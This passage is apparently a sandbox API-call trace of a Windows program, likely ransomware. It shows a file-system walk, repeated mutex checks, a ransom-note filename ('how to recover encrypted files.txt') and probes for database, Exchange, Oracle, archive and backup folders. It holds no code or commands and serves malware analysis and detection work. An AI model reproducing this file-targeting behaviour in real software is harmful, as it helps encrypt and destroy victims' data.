lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLLp", lpUsedDefaultChar=0x0) returned 76 [0056.400] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Web Folders\\1033\\MSOSVINT.DLLp", lpUsedDefaultChar=0x0) returned 4 [0056.400] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0056.400] GetLastError () returned 0x12 [0056.400] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.400] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.401] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.401] GlobalUnlock (hMem=0x44000c) returned 0 [0056.401] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.401] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.401] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.401] GlobalUnlock (hMem=0x44000c) returned 0 [0056.401] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.401] GlobalUnlock (hMem=0x440004) returned 0 [0056.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d58, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0056.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.401] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.401] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.401] GlobalLock (hMem=0x440004) returned 0x550170 [0056.401] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.401] GlobalUnlock (hMem=0x440004) returned 0 [0056.401] GlobalLock (hMem=0x440004) returned 0x550170 [0056.401] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.401] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.401] GlobalUnlock (hMem=0x440004) returned 0 [0056.401] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.401] GlobalUnlock (hMem=0x44000c) returned 0 [0056.401] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.401] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.401] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.401] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.402] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.402] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.402] GlobalUnlock (hMem=0x44000c) returned 0 [0056.402] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.402] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.402] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.402] GlobalUnlock (hMem=0x44000c) returned 0 [0056.402] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.402] GlobalUnlock (hMem=0x440004) returned 0 [0056.402] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.402] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0056.402] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.402] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.402] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.402] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.402] GlobalUnlock (hMem=0x440004) returned 0 [0056.402] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.402] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.402] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.402] GlobalUnlock (hMem=0x440004) returned 0 [0056.402] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.402] GlobalUnlock (hMem=0x44000c) returned 0 [0056.402] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.402] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0056.402] GetLastError () returned 0x12 [0056.402] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.403] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0056.403] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.403] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.403] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.403] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.403] GlobalUnlock (hMem=0x44000c) returned 0 [0056.403] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.403] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.403] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.403] GlobalUnlock (hMem=0x44000c) returned 0 [0056.403] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.403] GlobalUnlock (hMem=0x440004) returned 0 [0056.403] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.403] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0056.403] GetLastError () returned 0x12 [0056.403] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.404] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0056.404] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.404] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.404] GlobalLock (hMem=0x440004) returned 0x550170 [0056.404] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.404] GlobalUnlock (hMem=0x440004) returned 0 [0056.404] GlobalLock (hMem=0x440004) returned 0x550170 [0056.404] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.404] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.404] GlobalUnlock (hMem=0x440004) returned 0 [0056.404] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.404] GlobalUnlock (hMem=0x44000c) returned 0 [0056.404] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.404] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.404] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.404] GlobalUnlock (hMem=0x44000c) returned 0 [0056.404] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.404] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.404] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.404] GlobalUnlock (hMem=0x44000c) returned 0 [0056.404] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.404] GlobalUnlock (hMem=0x440004) returned 0 [0056.404] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.405] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions", len=0x44 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned 1 [0056.405] GlobalLock (hMem=0x440004) returned 0x550170 [0056.405] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.405] GlobalUnlock (hMem=0x440004) returned 0 [0056.405] GlobalLock (hMem=0x440004) returned 0x550170 [0056.405] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.405] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.405] GlobalUnlock (hMem=0x440004) returned 0 [0056.405] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.405] GlobalUnlock (hMem=0x44000c) returned 0 [0056.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\眵?\x18") returned 26 [0056.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⇊R↞R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.408] GetLastError () returned 0x3 [0056.408] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.408] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0056.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18㿬Q\x181")) returned 0xffffffff [0056.409] GetLastError () returned 0x2 [0056.409] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0056.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@坜U企@\x18?T\x18;")) returned 0xffffffff [0056.410] GetLastError () returned 0x2 [0056.410] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0056.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0056.410] GetLastError () returned 0x2 [0056.410] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18坜U\x18j")) returned 0xffffffff [0056.411] GetLastError () returned 0x2 [0056.411] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0056.411] GetLastError () returned 0x2 [0056.411] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\坘UP") returned 6 [0056.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@册U企@\x18?T\x18y")) returned 0xffffffff [0056.412] GetLastError () returned 0x2 [0056.412] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18?T\x18\x81")) returned 0xffffffff [0056.412] GetLastError () returned 0x2 [0056.412] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0056.413] GetLastError () returned 0x2 [0056.413] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common 